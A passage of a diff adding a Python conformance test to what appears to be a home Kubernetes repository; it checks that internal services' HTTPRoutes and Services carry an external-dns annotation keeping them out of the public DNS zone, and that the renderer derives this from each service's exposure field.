+                               if exposure_of[s] == "internal"})
+public_with_routes = sorted({s for (_, _), s in expected_routes.items()
+                             if exposure_of[s] == "public"})
+check(len(internal_with_routes) > 0,
+      "inventory: no `internal` catalog service declares an ingressRoute — the subject set of "
+      "this check is empty, which means either the catalog changed shape or the parse is wrong")
+check(len(public_with_routes) > 0,
+      "inventory: no `public` catalog service declares an ingressRoute — assertion (2) would be "
+      "vacuous, so the parse is presumed wrong rather than the repo")
+
+SCAN_DIRS = ["apps", "platform", "runbooks"]
+routes: list[tuple[str, dict]] = []          # (relpath, HTTPRoute doc)
+dns_services: list[tuple[str, dict]] = []    # (relpath, Service doc carrying an external-dns ann)
+for sub in SCAN_DIRS:
+    base = ROOT / sub
+    if not base.is_dir():
+        continue
+    for p in sorted(base.rglob("*.yaml")):
+        rel = p.relative_to(ROOT).as_posix()
+        for d in docs_of(p):
+            kind = d.get("kind")
+            md = d.get("metadata") or {}
+            ann = md.get("annotations") or {}
+            if kind == "HTTPRoute":
+                routes.append((rel, d))
+            elif kind == "Service" and any(
+                a.startswith("external-dns.alpha.kubernetes.io/") for a in ann
+            ):
+                dns_services.append((rel, d))
+
+check(len(routes) > 0, "inventory: no HTTPRoute found under apps/ platform/ runbooks/ — parse "
+                       "contract broken (the tree is known to author several)")
+
+
+def ident(d: dict) -> tuple[str, str]:
+    md = d.get("metadata") or {}
+    return (md.get("namespace") or "", md.get("name") or "")
+
+
+def annotations_of(d: dict) -> dict:
+    return (d.get("metadata") or {}).get("annotations") or {}
+
+
+def is_disowned(d: dict) -> bool:
+    """True iff external-dns v0.21.0 would SKIP this object: the controller annotation is present
+    and its value is not external-dns's own. Absent == published (the default), which is the whole
+    point — the annotation is the only thing standing between a route and the public zone."""
+    v = annotations_of(d).get(CONTROLLER_KEY)
+    return v is not None and v != CONTROLLER_CLAIMED
+
+
+# =============================================================================================
+# (1) + (2) every internal service's rendered route is disowned; no public one is.
+# =============================================================================================
+by_ident: dict[tuple[str, str], list[tuple[str, dict]]] = {}
+for rel, d in routes:
+    by_ident.setdefault(ident(d), []).append((rel, d))
+
+for (ns, rname), svc in sorted(expected_routes.items()):
+    found = by_ident.get((ns, rname), [])
+    check(len(found) >= 1,
+          f"({svc}) the catalog declares an ingressRoute rendering HTTPRoute {ns}/{rname}, but no "
+          f"such HTTPRoute exists in the applied tree — apps/ is out of sync with catalog/ "
+          f"(ci/render-golden.sh owns the byte-level half of this)")
+    for rel, d in found:
+        if exposure_of[svc] == "internal":
+            v = annotations_of(d).get(CONTROLLER_KEY)
+            check(
+                v is not None,
+                f"({svc}) R-DNS-03 VIOLATED: {rel} HTTPRoute {ns}/{rname} belongs to an "
+                f"`exposure: internal` service but carries NO `{CONTROLLER_KEY}` annotation, so "
+                f"external-dns publishes {ns}.<zone> into the PUBLIC Cloudflare zone answering "
+                f"with the RFC1918 Gateway VIP. An internal service must render no public record.",
+            )
+            check(
+                v != CONTROLLER_CLAIMED,
+                f"({svc}) {rel} HTTPRoute {ns}/{rname} sets `{CONTROLLER_KEY}: "
+                f"{CONTROLLER_CLAIMED}` — that is external-dns's OWN value, which CLAIMS the route "
+                f"rather than releasing it. It reads like the guard and is its exact inverse.",
+            )
+        else:
+            check(
+                CONTROLLER_KEY not in annotations_of(d),
+                f"({svc}) {rel} HTTPRoute {ns}/{rname} belongs to an `exposure: "
+                f"{exposure_of[svc]}` service yet carries `{CONTROLLER_KEY}`. Under "
+                f"`policy: sync` that DELETES its live public record — the five public services "
+                f"must keep publishing.",
+            )
+
+# =============================================================================================
+# (3) the `service` source half — an internal service's Service may not publish either.
+# =============================================================================================
+for rel, d in dns_services:
+    ns, name = ident(d)
+    svc = ns if ns in sds else None
+    if svc and exposure_of[svc] == "internal":
+        check(
+            is_disowned(d),
+            f"({svc}) {rel} Service {ns}/{name} carries an external-dns annotation "
+            f"({sorted(a for a in annotations_of(d) if a.startswith('external-dns'))}) for an "
+            f"`exposure: internal` service without a disowning `{CONTROLLER_KEY}`. Both "
+            f"`gateway-httproute` AND `service` are configured sources, so closing only the route "
+            f"half is half a guarantee.",
+        )
+
+# =============================================================================================
+# (4) the GENERATOR derives it from `exposure` — not from a list of service names.
+# =============================================================================================
+render_py = ROOT / "catalog" / "render.py"
+src = read(render_py)
+check(bool(src), "catalog/render.py unreadable")
+
+emitter = re.search(
+    r"def _externaldns_route_annotations\(.*?\n(?=\n?def |\n?# =====)", src, re.S
+)
+check(emitter is not None,
+      "catalog/render.py must define `_externaldns_route_annotations` — the single place the "
+      "ExternalDNS scoping is derived. If it was renamed, rename it here too: this check has to "
+      "read the DERIVATION, not just the output, or a hardcoded per-service list would pass.")
+if emitter:
+    body = emitter.group(0)
+    # The derivation must read `exposure`. A body that does not mention it cannot be deriving
+    # anything from the operator's declaration.
+    check('"exposure"' in body or "'exposure'" in body,
+          "`_externaldns_route_annotations` must read the `exposure` field — the guarantee is "
+          "that the OPERATOR'S DECLARATION decides, so `exposure` has to appear in the decision")
+    # and it must not name any catalog service: a per-service list is how twelve ServiceMonitors
+    # acquired one identical wrong port name in a single edit. Only the executable statements are
+    # inspected — the docstring legitimately names the affected services as evidence.
+    code = re.sub(r'"""(?:.|\n)*?"""', "", body, count=1)
+    named = sorted(n for n in sds if re.search(rf"""['"]{re.escape(n)}['"]""", code))
+    check(not named,
+          f"`_externaldns_route_annotations` names catalog service(s) {named} in its CODE. The "
+          f"annotation must be derived from `exposure` alone; a per-service list silently omits "
+          f"the next service anyone adds.")
+    check(CONTROLLER_CLAIMED not in code,
+          f"`_externaldns_route_annotations` must never be able to emit `{CONTROLLER_CLAIMED}` — "
+          f"external-dns's own value CLAIMS the object instead of releasing it")
+
+# =============================================================================================
+# (5) THE SHIPPED RENDERER IS PROVEN on synthetic ServiceDefinitions. Three fixtures, because
+#     "internal is annotated" alone would also pass if the renderer annotated everything, and
+#     because the contract's DEFAULT posture is internal — the case a new service hits by
+#     omitting the field entirely, and the case a per-service list would miss.
+# =============================================================================================
+FIXTURES = [
+    ("fixture-internal", {"exposure": "internal"}, True,
+     "an `internal` fixture must render the disown annotation"),
+    ("fixture-public", {"exposure": "public"}, False,
+     "a `public` fixture must render NO disown annotation"),
+    ("fixture-default", {}, True,
+     "a fixture OMITTING `exposure` defaults to internal (renderer-contract default posture) and "
+     "must also render the disown annotation"),
+]
+with tempfile.TemporaryDirectory() as td:
+    for fname, extra, want, msg in FIXTURES:
+        sd = {
+            "name": fname,
+            "kind": "container",
+            "source": {"image": "example/app:1.0.0"},
+            "egress": "internet",
+            "dependencies": [],
+            "ingressRoutes": [{"host": f"{fname}.home.keithjackson.dev", "port": 8080}],
+            # `native` avoids the oauth2-proxy sidecar path and the schema's groups requirement,
+            # keeping the fixture about DNS scoping and nothing else. A public service may not use
+            # auth.mode none (schema invariant since 1.1.0), so both fixtures use the same mode.
+            "auth": {"mode": "native"},
+            "update": {"channel": "stable", "cadence": "0 4 * * 0",
+                       "autoRollbackOnFailedHealth": True},
+            "observability": {"metrics": True, "slis": ["up"]},
+            "backup": {"policy": "reacquirable"},
+        }
+        sd.update(extra)
+        f = Path(td) / f"{fname}.yaml"
+        f.write_text(yaml.safe_dump(sd, sort_keys=False))
+        proc = subprocess.run(
+            [sys.executable, str(render_py), str(f), "--no-image-automation"],
+            capture_output=True, text=True, cwd=str(ROOT),
+        )
+        if proc.returncode != 0:
+            check(False, f"fixture {fname}: the shipped renderer failed: "
+                         f"{proc.stderr.strip()[:400]}")
+            continue
+        rendered = [d for d in yaml.safe_load_all(proc.stdout)
+                    if isinstance(d, dict) and d.get("kind") == "HTTPRoute"]
+        check(len(rendered) == 1, f"fixture {fname}: expected exactly one rendered HTTPRoute")
+        if rendered:
+            got = is_disowned(rendered[0])
+            check(got is want, f"fixture {fname}: {msg} (rendered annotations: "
+                               f"{annotations_of(rendered[0])})")
+
+# =============================================================================================
+# (6) REGISTER RATCHET — every publisher the catalog does not render is declared, and every
+#     declaration still names a real object.
+# =============================================================================================
+catalog_rendered = set(expected_routes)
+seen_register_keys: set[str] = set()
+for rel, d in routes + dns_services:
+    ns, name = ident(d)
+    if (ns, name) in catalog_rendered:
+        continue
+    key = f"{rel}:{ns}/{name}"
+    seen_register_keys.add(key)
+    check(
+        key in KNOWN_NON_CATALOG_PUBLISHERS,
+        f"UNDECLARED publisher {key}: a {d.get('kind')} the catalog does not render, so it has no "
+        f"`exposure` field this check can adjudicate, and it can put a name into the public "
+        f"Cloudflare zone. Add it to KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why "
+        f"it is out of scope — or render it from a ServiceDefinition instead.",
+    )
+stale = sorted(set(KNOWN_NON_CATALOG_PUBLISHERS) - seen_register_keys)
+check(not stale,
+      f"STALE register entries {stale}: KNOWN_NON_CATALOG_PUBLISHERS is shrink-only, and these "
+      f"name no object in the tree any more. Delete them — a register that keeps entries for "
+      f"deleted objects stops being evidence of anything.")
+
+# =============================================================================================
+# (7) LOAD-BEARING — the scope is DECLARED here (so ci/l0.sh Stage 3b's --include-scope union
+#     always selects this test) and NO stage is hand-written into ci/l0.sh (the
+#     whole-repo-invariants-wired meta-test fails the gate if one is).
+# =============================================================================================
+TEST_DIR = ROOT / "conformance/tests/l0-static/internal-services-publish-no-public-dns"
+test_yaml = read(TEST_DIR / "chainsaw-test.yaml")
+check(bool(test_yaml), "this test's own chainsaw-test.yaml is unreadable")
+check(
+    re.search(r'^\s*conformance\.home\.k3s/scope:\s*"?whole-repo"?\s*$', test_yaml, re.M)
+    is not None,
+    "chainsaw-test.yaml must DECLARE `conformance.home.k3s/scope: \"whole-repo\"` on a real "
+    "mapping line — that declaration is the only thing that unions this check into every gate "
+    "run (ci/l0.sh Stage 3b). A scope named in prose is documentation, not a declaration.",
+)
+l0_sh = read(ROOT / "ci/l0.sh")
+check(
+    "internal-services-publish-no-public-dns" not in l0_sh,
+    "ci/l0.sh must NOT name this test: a whole-repo invariant is selected by its DECLARED scope, "
+    "and the whole-repo-invariants-wired meta-test fails the gate on a hand-written stage.",
+)
+
+# =============================================================================================
+if FAILURES:
+    for f in FAILURES:
+        print(f"check FAIL: {f}", file=sys.stderr)
+    print(f"check FAILED: {len(FAILURES)} of {CHECKS} assertions failed", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: {CHECKS} assertions passed "
+      f"({len(sds)} ServiceDefinitions; {len(internal_with_routes)} internal + "
+      f"{len(public_with_routes)} public services with routes; {len(routes)} HTTPRoutes and "
+      f"{len(dns_services)} external-dns-annotated Services inventoried; "
+      f"{len(KNOWN_NON_CATALOG_PUBLISHERS)} declared non-catalog publishers)")
+PY